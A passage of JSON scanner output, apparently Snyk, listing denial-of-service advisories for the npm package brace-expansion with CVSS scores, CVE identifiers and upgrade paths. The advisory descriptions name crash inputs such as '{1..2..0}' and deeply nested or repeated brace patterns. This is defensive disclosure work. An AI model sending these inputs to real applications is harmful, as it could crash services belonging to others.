"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
